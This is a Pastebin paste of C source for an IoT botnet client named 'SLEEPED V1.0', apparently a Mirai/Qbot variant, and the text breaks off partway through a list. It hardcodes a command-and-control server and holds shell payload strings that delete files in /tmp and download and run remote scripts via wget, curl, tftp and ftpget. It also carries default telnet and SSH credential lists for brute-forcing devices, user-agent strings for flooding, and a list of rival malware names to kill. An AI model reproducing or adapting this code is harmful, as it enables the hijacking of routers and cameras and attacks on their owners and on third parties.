Advertisement
Guest User

Untitled

a guest
Oct 14th, 2019
1,048
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 144.82 KB | None | 0 0
  1. // ( ( )
  2. // )\ ( ( ( )\ ) ) ( /(
  3. // ( ((_)))\ ))\` ) ))\(()/( /(( )\())
  4. // )\ _ /((_)((_)(/( /((_)((_)) (_))((_)\
  5. // ((_) (_))(_))((_)_\(_)) _| | _)((_) (_)
  6. // (_-< / -_) -_) '_ \) -_) _` | \ V /| |
  7. // /__/_\___\___| .__/\___\__,_| \_/ |_|
  8. // |_|
  9. // SLEEPED V1.0 CLIENT BY VULNSEC
  10. #include <stdlib.h>
  11. #include <stdarg.h>
  12. #include <stdio.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <signal.h>
  19. #include <strings.h>
  20. #include <sys/utsname.h>
  21. #include <unistd.h>
  22. #include <fcntl.h>
  23. #include <errno.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/udp.h>
  26. #include <netinet/tcp.h>
  27. #include <sys/wait.h>
  28. #include <sys/ioctl.h>
  29. #include <net/if.h>
  30. #include <time.h>
  31. #include <dirent.h>
  32. #include <limits.h>
  33. #include <sys/stat.h>
  34. #include <sys/time.h>
  35. #include <string.h>
  36. #include <stdint.h>
  37. #include <stdio.h>
  38. #include <sys/param.h>
  39. #include <sys/time.h>
  40. #define VERSION "Vulcan"
  41. #define PR_SET_NAME 15
  42. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  43. #define PAD_RIGHT 1
  44. #define PAD_ZERO 2
  45. #define PRINT_BUF_LEN 12
  46. #define CMD_IAC 255
  47. #define CMD_WILL 251
  48. #define CMD_WONT 252
  49. #define CMD_DO 253
  50. #define CMD_DONT 254
  51. #define OPT_SGA 3
  52. #define STD_PIGZ 50
  53. #define SOCKBUF_SIZE 1024
  54. #define BUFFER_SIZE 1024
  55. #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
  56. typedef uint32_t ipv4_t;
  57.  
  58. // GET BUILDS
  59. //----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  60. char *getBuild() {
  61. #if defined(__x86_64__) || defined(_M_X64)
  62. return "x86_64";
  63. #elif defined(__i386) || defined(_M_IX86)
  64. return "x86_32";
  65. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  66. return "ARM-4";
  67. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  68. return "ARM-5"
  69. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  70. return "ARM-6";
  71. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  72. return "MIPS";
  73. #elif defined(__sh__)
  74. return "SUPERH";
  75. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  76. return "POWERPC";
  77. #else
  78. return "UNKNOWN";
  79. #endif
  80. }
  81. // USER AGENTS
  82. //--------------------------------------------------------------------------------------------------------------------------------------------------------------------
  83. const char *useragents[] = {
  84. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  85. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  86. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  87. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  88. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  89. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  90. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  91. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  92. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  93. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  94. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  95. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  96. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  97. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  98. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  99. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  100. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  101. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  102. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  103. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
  104. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  105. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  106. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  107. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  108. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  109. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  110. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  111. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  112. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  113. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  114. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  115. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  116. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  117. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  118. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  119. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  120. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  121. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  122. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  123. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  124. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  125. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  126. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  127. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  128. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  129. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  130. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  131. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  132. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  133. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  134. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  135. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  136. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  137. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  138. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  139. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  140. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  141. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  142. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  143. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  144. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  145. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  146. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  147. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  148. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  149. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0",
  150. "PSP (PlayStation Portable); 2.00",
  151. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  152. "Doris/1.15 [en] (Symbian)",
  153. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  154. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  155. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  156. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  157. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  158. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  159. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  160. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  161. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  162. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  163. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  164. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  165. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  166. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  167. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  168. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  169. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",
  170. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
  171. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",
  172. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  173. "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  174. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  175. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",
  176. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
  177. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  178. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  179. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  180. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  181. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",
  182. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  183. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  184. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  185. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  186. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  187. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  188. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  189. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  190. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  191. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
  192. };
  193. struct telstate_t {
  194. int fd;
  195. uint32_t ipz;
  196. unsigned int ip;
  197. unsigned char state;
  198. unsigned char complete;
  199. unsigned char usernameInd;
  200. unsigned char passwordInd;
  201. unsigned char tempDirInd;
  202. uint32_t totalTimeout;
  203. unsigned int tTimeout;
  204. unsigned short bufUsed;
  205. char *sockbuf;
  206. };
  207. int initConnection();
  208. void makeRandomStr(unsigned char *buf, int length);
  209. int sockprintf(int sock, char *formatStr, ...);
  210. char *inet_ntoa(struct in_addr in);
  211. int mainCommSock = 0, currentServer = -1;
  212. uint32_t *pids;
  213. uint32_t scanPid;
  214. uint32_t bcmPid;
  215. uint32_t testmiraiPid;
  216. uint32_t testtelnetPid;
  217. uint32_t scanPid;
  218. uint32_t miraiPid;
  219. uint32_t Phonepid;
  220. uint64_t numpids = 0;
  221. struct in_addr ourIP;
  222. unsigned char macAddress[6] = {0};
  223. // CONFIG
  224. //--------------------------------------------------------------------------------------------------------------------------------------------------------------------
  225. unsigned char *commServer[] = { "207.148.28.232:23" };
  226. char* phone[] = {":", "ogin", "sername", "assword", "Linux", "9615-cdp", (char*)0};
  227. char *Busybox_Payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://207.148.28.232/bins.sh; curl -O http://207.148.28.232/bins.sh; /bin/busybox wget http://94.177.230.2/bin.sh; /bin/busybox tftp 207.148.28.232 -c get tftp1.sh; chmod 777 bins.sh; sh bins.sh; tftp 207.148.28.232 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp1.sh -g 207.148.28.232; chmod 777 tftp1.sh; sh tftp1.sh; ftpget -v -u anonymous -p anonymous -P 21 207.148.28.232 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp1.sh ftp1.sh; rm -rf *\r\n"; //Telnet Scanner Must implement Busybox.
  228. char *Payload = "cd /tmp; rm -rf *; cd /tmp/; wget http://207.148.28.232/bins.sh; sh bins.sh; rm -rf bins.sh; cd /tmp/; wget http://207.148.28.232/bins.sh; sh bins.sh; rm -rf bins.sh"; //Normal Payload Without busybox Implemented.
  229. char *phonepayload = "cd /tmp; rm -rf *; cd /tmp/; wget http://207.148.28.232/bins.sh; sh bins.sh; rm -rf bins.sh; cd /tmp/; wget http://207.148.28.232/bins.sh; sh bins.sh; rm -rf bins.sh\r\n";
  230. char *Telnet_Usernames[] = {
  231. "telnet\0", //telnet:telnet
  232. "root\0", //root:
  233. "root\0", //root:1234
  234. "admin\0", //admin:admin
  235. "admin\0", //admin:
  236. "admin\0", //admin:password
  237. "user\0", //user:user
  238. };
  239. char *Telnet_Passwords[] = {
  240. "telnet\0", //telnet:telnet
  241. "\0", //root:
  242. "1234\0", //root:1234
  243. "admin\0", //admin:admin
  244. "\0", //admin:
  245. "password\0", //admin:
  246. "user\0", //user:user
  247. };
  248. char *Mirai_Usernames[] = {
  249. "telnet\0", //mother:fucker
  250. "root\0", //root:xc3511
  251. "root\0", //root:vizxv
  252. "root\0", //root:admin
  253. "admin\0", //admin:admin
  254.  
  255. "root\0", //root:888888
  256. "root\0", //root:xmhdipc
  257. "root\0", //root:default
  258. "root\0", //root:juantech
  259.  
  260. "root\0", //root:123456
  261. "root\0", //root:54321
  262. "support\0", //support:support
  263. "root\0", //root:(none)
  264.  
  265. "admin\0", //admin:password
  266. "root\0", //root:root
  267. "root\0", //root:12345
  268. "user\0", //user:user
  269.  
  270. "admin\0", //admin:(none)
  271. "root\0", //root:pass
  272. "admin\0", //admin:admin1234
  273. "root\0", //root:1111
  274.  
  275. "admin\0", //admin:smcadmin
  276. "admin\0", //admin:1111
  277. "root\0", //root:666666
  278. "root\0", //root:password
  279.  
  280. "root\0", //root:1234
  281. "root\0", //root:klv123
  282. "Administrator\0", //Administrator:admin
  283. "service\0", //service:service
  284.  
  285. "supervisor\0", //supervisor:supervisor
  286. "guest\0", //guest:guest
  287. "guest\0", //guest:12345
  288. "guest\0", //guest:12345
  289.  
  290. "admin1\0", //admin1:password
  291. "administrator\0", //administrator:1234
  292. "666666\0", //666666:666666
  293. "888888\0", //888888:888888
  294. "ubnt\0", //ubnt:ubnt
  295.  
  296. "klv1234\0", //root:klv1234
  297. "Zte521\0", //root:Zte521
  298. "hi3518\0", //root:hi3518
  299. "jvbzd\0", //root:jvbzd
  300.  
  301. "anko\0", //root:anko
  302. "zlxx\0", //root:zlxx
  303. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  304. "7ujMko0admin\0", //root:7ujMko0admin
  305.  
  306. "system\0", //root:system
  307. "ikwb\0", //root:ikwb
  308. "dreambox\0", //root:dreambox
  309. "user\0", //root:user
  310.  
  311. "realtek\0", //root:realtek
  312. "00000000\0", //root:00000000
  313. "1111111\0", //admin:1111111
  314. "1234\0", //admin:1234
  315.  
  316. "12345\0", //admin:12345
  317. "54321\0", //admin:54321
  318. "123456\0", //admin:123456
  319. "7ujMko0admin\0", //admin:7ujMko0admin
  320.  
  321. "1234\0", //admin:1234
  322. "pass\0", //admin:pass
  323. "meinsm\0", //admin:meinsm
  324. "tech\0", //tech:tech
  325.  
  326. "fucker\0", //mother:fucker
  327. };
  328. char *Mirai_Passwords[] = {
  329. "telnet\0", //mother:fucker
  330. "xc3511\0", //root:xc3511
  331. "vizxv\0", //root:vizxv
  332. "admin\0", //root:admin
  333. "admin\0", //admin:admin
  334.  
  335. "888888\0", //root:888888
  336. "xmhdipc\0", //root:xmhdipc
  337. "default\0", //root:default
  338. "juantech\0", //root:juantech
  339.  
  340. "123456\0", //root:123456
  341. "54321\0", //root:54321
  342. "support\0", //support:support
  343. "\0", //root:(none)
  344.  
  345. "password\0", //admin:password
  346. "root\0", //root:root
  347. "12345\0", //root:12345
  348. "user\0", //user:user
  349.  
  350. "\0", //admin:(none)
  351. "pass\0", //root:pass
  352. "admin1234\0", //admin:admin1234
  353. "1111\0", //root:1111
  354.  
  355. "smcadmin\0", //admin:smcadmin
  356. "1111\0", //admin:1111
  357. "666666\0", //root:666666
  358. "password\0", //root:password
  359.  
  360. "1234\0", //root:1234
  361. "klv123\0", //root:klv123
  362. "admin\0", //Administrator:admin
  363. "service\0", //service:service
  364.  
  365. "supervisor\0", //supervisor:supervisor
  366. "guest\0", //guest:guest
  367. "12345\0", //guest:12345
  368. "12345\0", //guest:12345
  369.  
  370. "password\0", //admin1:password
  371. "1234\0", //administrator:1234
  372. "666666\0", //666666:666666
  373. "888888\0", //888888:888888
  374. "ubnt\0", //ubnt:ubnt
  375.  
  376. "klv1234\0", //root:klv1234
  377. "Zte521\0", //root:Zte521
  378. "hi3518\0", //root:hi3518
  379. "jvbzd\0", //root:jvbzd
  380.  
  381. "anko\0", //root:anko
  382. "zlxx\0", //root:zlxx
  383. "7ujMko0vizxv\0", //root:7ujMko0vizxv
  384. "7ujMko0admin\0", //root:7ujMko0admin
  385.  
  386. "system\0", //root:system
  387. "ikwb\0", //root:ikwb
  388. "dreambox\0", //root:dreambox
  389. "user\0", //root:user
  390.  
  391. "realtek\0", //root:realtek
  392. "00000000\0", //root:00000000
  393. "1111111\0", //admin:1111111
  394. "1234\0", //admin:1234
  395.  
  396. "12345\0", //admin:12345
  397. "54321\0", //admin:54321
  398. "123456\0", //admin:123456
  399. "7ujMko0admin\0", //admin:7ujMko0admin
  400.  
  401. "1234\0", //admin:1234
  402. "pass\0", //admin:pass
  403. "meinsm\0", //admin:meinsm
  404. "tech\0", //tech:tech
  405.  
  406. "fucker\0", //mother:fucker
  407. };
  408. char *SSH_Usernames[] = {
  409. "root\0", //root:root
  410. "admin\0", //admin:admin
  411. "root\0", //root:admin
  412. "admin\0", //admin:1234
  413. "ubnt\0", //ubnt:ubnt
  414. "user\0", //user:user
  415. "ususario\0", //usuario:ususario
  416. "telnet\0", //telnet:telnet
  417. "support\0", //support:support
  418. };
  419. char *SSH_Passwords[] = {
  420. "root\0", //root:root
  421. "admin\0", //admin:admin
  422. "admin\0", //root:admin
  423. "1234\0", //admin:1234
  424. "ubnt\0", //ubnt:ubnt
  425. "user\0", //user:user
  426. "ususario\0", //usuario:ususario
  427. "telnet\0", //telnet:telnet
  428. "support\0", //support:support
  429. };
  430. char *Bot_Killer_Binarys[] = {
  431. "amsjkfbns",
  432. "mips",
  433. "xdf.mips",
  434. "xdf.*",
  435. "xdf*",
  436. "xdf.mipsel",
  437. "xdf.x86_64",
  438. "xdf.arm7",
  439. "xdf.ppc",
  440. "xdf.sh4",
  441. "mipsel",
  442. "sh4",
  443. "x86",
  444. "i686",
  445. "ppc",
  446. "i586",
  447. "jack*",
  448. "hack*",
  449. "arm*"
  450. "tel*"
  451. "b1",
  452. "b2",
  453. "b3",
  454. "b4",
  455. "b5",
  456. "b6",
  457. "b7",
  458. "b8",
  459. "b9",
  460. "wget",
  461. "orion",
  462. "lol*",
  463. "busybox*",
  464. "badbox*",
  465. "DFhxdhdf",
  466. "dvrHelper",
  467. "FDFDHFC",
  468. "FEUB",
  469. "FTUdftui",
  470. "GHfjfgvj",
  471. "jhUOH",
  472. "JIPJIPJj",
  473. "JIPJuipjh",
  474. "kmyx86_64",
  475. "lolmipsel",
  476. "mips",
  477. "mipsel",
  478. "RYrydry",
  479. "TwoFace*",
  480. "UYyuyioy",
  481. "x86_64",
  482. "XDzdfxzf",
  483. "xx*",
  484. "sh",
  485. "1",
  486. "2",
  487. "3",
  488. "4",
  489. "5",
  490. "6",
  491. "7",
  492. "8",
  493. "9",
  494. "10",
  495. "11",
  496. "12",
  497. "13",
  498. "14",
  499. "15",
  500. "16",
  501. "17",
  502. "18",
  503. "19",
  504. "20",
  505. "busybox",
  506. "badbox",
  507. "Mirai*",
  508. "mirai*",
  509. "cunty*"
  510. "IoT*",
  511. "mips",
  512. "mips64",
  513. "mipsel",
  514. "sh2eb",
  515. "sh2elf",
  516. "sh4",
  517. "x86",
  518. "arm",
  519. "armv5",
  520. "armv4tl",
  521. "armv4",
  522. "armv6",
  523. "i686",
  524. "powerpc",
  525. "powerpc440fp",
  526. "i586",
  527. "m68k",
  528. "sparc",
  529. "x86_64",
  530. "jackmymips",
  531. "jackmymips64",
  532. "jackmymipsel",
  533. "jackmysh2eb",
  534. "jackmysh2elf",
  535. "jackmysh4",
  536. "jackmyx86",
  537. "jackmyarmv5",
  538. "jackmyarmv4tl",
  539. "jackmyarmv4",
  540. "jackmyarmv6",
  541. "jackmyi686",
  542. "jackmypowerpc",
  543. "jackmypowerpc440fp",
  544. "jackmyi586",
  545. "jackmym68k",
  546. "jackmysparc",
  547. "jackmyx86_64",
  548. "hackmymips",
  549. "hackmymips64",
  550. "hackmymipsel",
  551. "hackmysh2eb",
  552. "hackmysh2elf",
  553. "hackmysh4",
  554. "hackmyx86",
  555. "hackmyarmv5",
  556. "hackmyarmv4tl",
  557. "hackmyarmv4",
  558. "hackmyarmv6",
  559. "hackmyi686",
  560. "hackmypowerpc",
  561. "hackmypowerpc440fp",
  562. "hackmyi586",
  563. "hackmym68k",
  564. "hackmysparc",
  565. "hackmyx86_64",
  566. "b1",
  567. "b2",
  568. "b3",
  569. "b4",
  570. "b5",
  571. "b6",
  572. "b7",
  573. "b8",
  574. "b9",
  575. "b10",
  576. "b11",
  577. "b12",
  578. "b13",
  579. "b14",
  580. "b15",
  581. "b16",
  582. "b17",
  583. "b18",
  584. "b19",
  585. "b20",
  586. "busyboxterrorist",
  587. "DFhxdhdf",
  588. "dvrHelper",
  589. "FDFDHFC",
  590. "FEUB",
  591. "FTUdftui",
  592. "GHfjfgvj",
  593. "jhUOH",
  594. "JIPJIPJj",
  595. "JIPJuipjh",
  596. "kmymips",
  597. "kmymips64",
  598. "kmymipsel",
  599. "kmysh2eb",
  600. "kmysh2elf",
  601. "kmysh4",
  602. "kmyx86",
  603. "kmyarmv5",
  604. "kmyarmv4tl",
  605. "kmyarmv4",
  606. "kmyarmv6",
  607. "kmyi686",
  608. "kmypowerpc",
  609. "kmypowerpc440fp",
  610. "kmyi586",
  611. "kmym68k",
  612. "kmysparc",
  613. "kmyx86_64",
  614. "lolmips",
  615. "lolmips64",
  616. "lolmipsel",
  617. "lolsh2eb",
  618. "lolsh2elf",
  619. "lolsh4",
  620. "lolx86",
  621. "lolarmv5",
  622. "lolarmv4tl",
  623. "lolarmv4",
  624. "lolarmv6",
  625. "loli686",
  626. "mirai.linux",
  627. "mirai.mips",
  628. "mirai*",
  629. "lolpowerpc",
  630. "lolpowerpc440fp",
  631. "loli586",
  632. "lolm68k",
  633. "lolsparc",
  634. "RYrydry",
  635. "telmips",
  636. "telmips64",
  637. "telmipsel",
  638. "telsh2eb",
  639. "telsh2elf",
  640. "telsh4",
  641. "telx86",
  642. "telarmv5",
  643. "telarmv4tl",
  644. "telarmv4",
  645. "telarmv6",
  646. "teli686",
  647. "telpowerpc",
  648. "telpowerpc440fp",
  649. "teli586",
  650. "telm68k",
  651. "telsparc",
  652. "telx86_64",
  653. "TwoFacemips",
  654. "TwoFacemips64",
